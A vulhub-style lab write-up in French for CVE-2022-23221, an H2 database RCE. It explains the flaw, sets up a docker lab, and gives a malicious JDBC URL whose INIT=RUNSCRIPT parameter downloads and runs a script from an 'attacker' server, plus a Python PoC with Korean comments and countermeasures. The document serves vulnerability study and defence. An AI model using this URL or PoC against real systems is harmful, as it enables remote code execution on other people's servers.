
vulhub/H2-database/CVE-2022-23221
# H2 Database RCE (CVE-2022-23221)
---
## 1. Résumé
- Référence : https://nvd.nist.gov/vuln/detail/cve-2022-23221
- H2 est un système de gestion de base de données relationnelle qui offre la possibilité de compiler et d'exécuter directement du code Java au sein du moteur SQL.
- Le pilote H2 analyse l'URL JDBC pour établir la connexion entre l'application et la base de données. Les paramètres de configuration inclus dans l'URL permettent alors de contrôler l'état initial ou le comportement de la base de données.
- Les versions de H2 antérieures à 2.1.210 présentent une vulnérabilité permettant d'exécuter un script SQL distant via le paramètre INIT de l'URL JDBC. Un attaquant peut exploiter cette faille pour injecter à distance un script SQL manipulé et exécuter des commandes système par l'intermédiaire des instructions qu'il contient, ce qui déclenche la vulnérabilité CVE-2022-23221.
- Les caractéristiques de cette vulnérabilité sont les suivantes.
1. Aucune authentification requise : quiconque dispose du droit de saisir une URL JDBC peut exploiter cette vulnérabilité pour prendre le contrôle du système.
2. Exécution automatique au démarrage du service : il suffit à l'attaquant de modifier le fichier de configuration pour qu'une RCE (exécution de code à distance) se produise automatiquement au démarrage du service utilisant H2.
3. Discrétion : il est difficile pour le développeur de détecter l'attaque.
4. Large portée des dommages : grâce à sa rapidité et à sa légèreté, H2 est utilisé pour le développement et les tests de divers services web. Tout environnement permettant de configurer une URL JDBC via un fichier de configuration ou à partir d'une entrée utilisateur peut être la cible d'une attaque exploitant cette vulnérabilité, ce qui implique un fort impact.
- Périmètre d'impact de la vulnérabilité
- Versions affectées : H2 antérieur à 2.1.210
- Versions corrigées : H2 2.1.210 et supérieur
<br><br>
## 2. Conditions de la vulnérabilité
- Être en version H2 antérieure à 2.1.210.
- L'URL JDBC doit contenir `IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’`.
1. `IGNORE_UNKNOWN_SETTINGS=TRUE`, `FORBID_CREATION=FALSE` -> contournement des paramètres de sécurité
- La présence de ces paramètres neutralise les réglages de sécurité, de sorte que la commande d'exécution de script distant n'est pas bloquée lors de l'initialisation et s'exécute telle quelle.
2. `INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql'` -> commande SQL exécutée automatiquement lors de la connexion entre l'application et la base de données
- Si la valeur du paramètre INIT contient la commande SQL RUNSCRIPT et l'adresse d'un script malveillant, H2 se connecte au serveur concerné, télécharge le fichier et l'exécute au moment où la connexion entre l'application et la base de données H2 est établie.
- Le script SQL téléchargé doit contenir une instruction SQL `CREATE ALIAS`.
- L'instruction `CREATE ALIAS` présente dans le script exécuté à distance amène H2 à exécuter la fonction Java contenue dans le script au sein de la base de données, ce qui aboutit à une RCE.
<br><br><br>
## 3. Configuration de l'environnement
- Scénario
- On configure un environnement H2 vulnérable et on saisit une URL JDBC malveillante dans H2. H2 analyse cette URL sans validation adéquate, récupère le fichier sql depuis le serveur attacker et l'exécute. Si les journaux du serveur h2-vulnerable affichent la chaîne « EXPLOITED » accompagnée des résultats d'exécution des commandes `id`, `whoami`, `pwd`, cela signifie que l'environnement H2 vulnérable a été configuré et que, lors de l'analyse de l'URL JDBC malveillante, H2 a téléchargé à distance le fichier exploit.sql depuis le serveur attacker externe et l'a exécuté.
- Configuration de l'environnement
```bash
docker compose up -d
```

- L'exécution de la commande démarre les environnements suivants.
- **h2-vulnerable** : H2 2.0.206 (version vulnérable avant correctif)
- Console web H2 : `http://your-ip:8082`
- Serveur TCP : `tcp://your-ip:9092`
- **attacker** : serveur HTTP
- `http://your-ip:8000` : fournit le fichier `exploit.sql`
- Après avoir configuré l'environnement, si vous accédez à http://your-ip:8082, la page web H2 apparaît.

<br><br><br>
## 4. Procédure de reproduction
: Dans la console web, une politique de sécurité est appliquée, ce qui peut entraîner le filtrage des paramètres constituant les conditions de la vulnérabilité. Par conséquent, on reproduit la vulnérabilité en saisissant directement via la CLI une URL JDBC contenant des paramètres malveillants, puis on vérifie le résultat.
### [Cas de requête normale]
- URL JDBC normale : "jdbc:h2:mem:test"
- Commande de requête normale
```bash
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
```
- Résultat de l'exécution

- Aucune requête reçue sur le serveur attacker
- Aucun journal particulier n'est affiché sur le serveur h2-vulnerable
<br>
### [Cas d'attaque de la vulnérabilité]
- URL JDBC malveillante : "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
#### 1. Exécution de l'attaque
- On saisit une URL JDBC malveillante dans le pilote H2 pour tenter une connexion au serveur attacker. Il existe 2 méthodes pour saisir l'URL à ce moment-là.
1. Saisir directement l'URL JDBC malveillante dans le H2 Shell via la CLI.
```bash
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
```

<br>
2. Exécuter le fichier PoC.
```bash
python3 poc.py
```

#### 2. Requête et exécution du fichier
- H2 demande (HTTP GET) le fichier exploit.sql au serveur attacker conformément à `INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'` spécifié dans le paramètre INIT de l'URL JDBC, puis l'exécute dans la base de données H2.
1. En exécutant `docker logs attacker`, on peut consulter le journal de la requête du fichier exploit.sql provenant du serveur h2-vulnerable.
```bash
docker logs attacker
```

2. Le serveur attacker renvoie le fichier exploit.sql demandé, et le serveur h2-vulnerable exécute le fichier exploit.sql reçu. À ce moment-là, la syntaxe CREATE ALIAS à l'intérieur du script induit l'exécution de code Java, ce qui provoque une RCE.
<br><br><br>
## 5. Code poc.py
```python
#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
```
<br><br>
## 6. Résultats d'exécution
- À la suite de l'exécution du fichier exploit.sql, les résultats d'exécution des commandes `id`, `whoami`, `pwd` sont affichés dans les logs du serveur h2-vulnerable, accompagnés de la chaîne « EXPLOITED ».
- Les logs peuvent être consultés avec `docker logs h2-vulnerable`.
```bash
docker logs h2-vulnerable`
```

=> Cela signifie que l'environnement H2 vulnérable a été mis en place et que le téléchargement distant et l'exécution de fichiers ont réussi lors du traitement d'une URL JDBC malveillante par H2.
<br>
## 7. Contre-mesures
- Mettre à niveau vers H2 2.1.210 ou une version supérieure
- Contenu du correctif : limitation de la fonction d'exécution de scripts externes du paramètre INIT
- Date de publication : 2022-05-15
- Renforcer la validation des valeurs d'entrée des URL JDBC : bloquer les entrées contenant des paramètres tels que INIT, RUNSCRIPT, etc. qui provoquent une exécution de code à distance, et valider les entrées d'URL JDBC selon une approche basée sur une liste blanche.
- Surveillance de l'intégrité de la configuration et de l'environnement : en cas de modification des fichiers de configuration, vérifier s'il y a eu altération, puis faire passer la modification par une approbation de l'administrateur.